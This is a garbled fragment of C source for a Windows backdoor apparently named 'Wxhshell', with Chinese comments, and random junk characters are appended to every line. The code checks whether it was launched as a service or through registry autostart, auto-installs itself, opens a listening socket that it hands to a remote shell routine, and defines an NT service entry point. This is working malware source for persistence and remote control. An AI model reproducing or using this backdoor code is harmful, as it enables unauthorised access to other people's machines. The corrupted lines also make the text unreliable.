ULONG UniqueProcessId; {WT"\Xj>B?
ULONG InheritedFromUniqueProcessId; }G_ i+
} PROCESS_BASIC_INFORMATION; -N~*h
w=y!|F
PROCNTQSIP NtQueryInformationProcess; hP,SvN#!2
[Kx_ %Le
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0}-&v+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lD.PNwM
@\b*a]CV
HANDLE hProcess; !uy?]l
PROCESS_BASIC_INFORMATION pbi; 9kWyO:a_(
f!eC|:D
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WUMx:a0!
if(NULL == hInst ) return 0; XBdC/DM[
No!P?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y2o?a6`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {FteQ@(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q$0^U{j/
iMYvC w/t6
if (!NtQueryInformationProcess) return 0; ^s_E |~U
:$j!e#?=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Y}faW(&Y
if(!hProcess) return 0; +);o{wfW
"-90:"W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }ZlJ
[P`Q_L,+
CloseHandle(hProcess); ?20y6c <
;M>0,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (+q?xwl!N
if(hProcess==NULL) return 0; o#4Wn'E
VEd\*
HMODULE hMod; i=#r JK=
char procName[255]; u,*$n'l]
unsigned long cbNeeded; \/. Of]YQ
4cTJ$" v
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :~{XL >:S
QaUh+k<6
CloseHandle(hProcess); &B/cy<;y,
*<OWd'LI
if(strstr(procName,"services")) return 1; // 以服务启动 #<MLW4P
w(<;
$9
return 0; // 注册表启动 M\DUx5dJ,
} j+88J
)Tpc8Hr
// 主模块 /Vg
R[
int StartWxhshell(LPSTR lpCmdLine) UW. F1)
{ vx5;}[Bhm
SOCKET wsl; o>\j c
BOOL val=TRUE; Qf$0^$ "
int port=0; _bMD|
struct sockaddr_in door; 7Z93`A-=
<~u.:x@ R
if(wscfg.ws_autoins) Install(); b=Zg1SqV
4qrPAt
port=atoi(lpCmdLine); kZWc(LwA
l)Q,*i
if(port<=0) port=wscfg.ws_port; bv)E>%Yy
p}}}~ lC/
WSADATA data; _+T;4U'p
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o.Mb~8Yu
ec)G~?FH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I,l%6oPa
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \4bma<~a
door.sin_family = AF_INET; ouPwhB,bg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~i=/@;wRp
door.sin_port = htons(port); Q{0-pHr}
s@'};E^]@r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gOx4qxy/m|
closesocket(wsl); 4&R\6!*s
return 1; POtDge
} Z=L' [6
{o*z iZh
if(listen(wsl,2) == INVALID_SOCKET) { R5H
UgI
closesocket(wsl); v}M, M&?
return 1; G$xuHHZ'
} i('z~
Wxhshell(wsl); }^pnwo9vV
WSACleanup(); _(0!bUs>
|U8;25Y
return 0; q(\$-Dk.Vv
k&n7_[]n
} pW:U|m1dS
KJ.ra\F
// 以NT服务方式启动 ST'L \yebc
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2Qc&6-;`
{ SrN0f0
DWORD status = 0; ad&Mk^p
DWORD specificError = 0xfffffff; oB&s